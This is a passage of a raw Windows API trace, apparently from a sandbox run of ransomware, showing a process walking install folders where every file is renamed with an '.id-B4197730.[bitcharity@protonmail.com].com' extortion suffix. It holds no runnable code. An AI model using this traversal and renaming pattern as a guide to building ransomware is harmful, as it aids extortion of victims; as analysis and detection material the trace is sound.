returned 1 [0242.445] FindNextFileW (in: hFindFile=0x6ec3b0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x346fa74c, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x346fa74c, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x34805746, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0xd5a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="EULART~1.COM")) returned 1 [0242.445] FindNextFileW (in: hFindFile=0x6ec3b0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x34805746, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x34805746, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x348ea4f9, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x13f46, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="LOCALI~1.COM")) returned 1 [0242.445] FindNextFileW (in: hFindFile=0x6ec3b0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x32d7c5c9, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x32d7c5c9, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x335651af, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPR~1.COM")) returned 1 [0242.445] FindNextFileW (in: hFindFile=0x6ec3b0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x32d7c5c9, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x32d7c5c9, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x335651af, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPR~1.COM")) returned 0 [0242.445] FindClose (in: hFindFile=0x6ec3b0 | out: hFindFile=0x6ec3b0) returned 1 [0242.446] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0242.446] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1053", cAlternateFileName="")) returned 1 [0242.446] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\*", lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ebd70 [0242.469] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.469] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x34833084, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x34833084, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x349108ec, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x1004, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="EULART~1.COM")) returned 1 [0242.469] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x349108ec, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x349108ec, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x34ada2ba, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x13076, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="LOCALI~1.COM")) returned 1 [0242.469] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x335651af, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x335651af, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x337c7622, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPR~1.COM")) returned 1 [0242.470] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x335651af, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x335651af, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x337c7622, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPR~1.COM")) returned 0 [0242.470] FindClose (in: hFindFile=0x6ebd70 | out: hFindFile=0x6ebd70) returned 1 [0242.471] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0242.471] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1055", cAlternateFileName="")) returned 1 [0242.471] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\*", lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ebdb0 [0242.497] FindNextFileW (in: hFindFile=0x6ebdb0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.498] FindNextFileW (in: hFindFile=0x6ebdb0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x349108ec, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x349108ec, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x349cf2f3, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x1004, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="EULART~1.COM")) returned 1 [0242.498] FindNextFileW (in: hFindFile=0x6ebdb0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x34960344, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x34960344, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x349a9123, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x12d16, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="LOCALI~1.COM")) returned 1 [0242.498] FindNextFileW (in: hFindFile=0x6ebdb0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x335651af, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x335651af, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x337a14f4, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPR~1.COM")) returned 1 [0242.498] FindNextFileW (in: hFindFile=0x6ebdb0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x335651af, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x335651af, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x337a14f4, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPR~1.COM")) returned 0 [0242.500] FindClose (in: hFindFile=0x6ebdb0 | out: hFindFile=0x6ebdb0) returned 1 [0242.501] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0242.501] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="2052", cAlternateFileName="")) returned 1 [0242.501] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\*", lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ebff0 [0242.502] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.502] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x349a9123, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x349a9123, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x34b0064c, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x17b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="EULART~1.COM")) returned 1 [0242.502] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x349cf2f3, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x349cf2f3, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x34b2696e, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0xee06, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="LOCALI~1.COM")) returned 1 [0242.502] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x33649e3a, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x33649e3a, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x337c7622, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPR~1.COM")) returned 1 [0242.502] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x33649e3a, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x33649e3a, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x337c7622, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPR~1.COM")) returned 0 [0242.502] FindClose (in: hFindFile=0x6ebff0 | out: hFindFile=0x6ebff0) returned 1 [0242.503] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0242.503] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="2070", cAlternateFileName="")) returned 1 [0242.503] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\*", lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ec070 [0242.506] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.507] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x34b72d9a, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x34b72d9a, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x34d3ca58, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x1094, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="EULART~1.COM")) returned 1 [0242.507] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x34b72d9a, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x34b72d9a, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x34e47adb, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x13a76, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="LOCALI~1.COM")) returned 1 [0242.507] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x336bc6fa, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x336bc6fa, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x338861a0, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPR~1.COM")) returned 1 [0242.507] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x336bc6fa, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x336bc6fa, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x338861a0, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPR~1.COM")) returned 0 [0242.507] FindClose (in: hFindFile=0x6ec070 | out: hFindFile=0x6ec070) returned 1 [0242.510] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0242.510] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="3076", cAlternateFileName="")) returned 1 [0242.510] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\*", lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ebe70 [0242.511] FindNextFileW (in: hFindFile=0x6ebe70, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.511] FindNextFileW (in: hFindFile=0x6ebe70, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x34b72d9a, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x34b72d9a, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x34f9eeaf, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x1994, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="EULART~1.COM")) returned 1 [0242.511] FindNextFileW (in: hFindFile=0x6ebe70, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x34b72d9a, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x34b72d9a, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x34ef01bf, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0xee96, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="LOCALI~1.COM")) returned 1 [0242.511] FindNextFileW (in: hFindFile=0x6ebe70, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x337a14f4, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x337a14f4, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x342a83cd, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPR~1.COM")) returned 1 [0242.511] FindNextFileW (in: hFindFile=0x6ebe70, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x337a14f4, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x337a14f4, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x342a83cd, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPR~1.COM")) returned 0 [0242.511] FindClose (in: hFindFile=0x6ebe70 | out: hFindFile=0x6ebe70) returned 1 [0242.513] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0242.513] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="3082", cAlternateFileName="")) returned 1 [0242.513] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\*", lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ec3f0 [0242.516] FindNextFileW (in: hFindFile=0x6ec3f0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.516] FindNextFileW (in: hFindFile=0x6ec3f0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x34d62ddf, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x34d62ddf, ftLastAccessTime.dwHighDateTime=0x1d501ab, 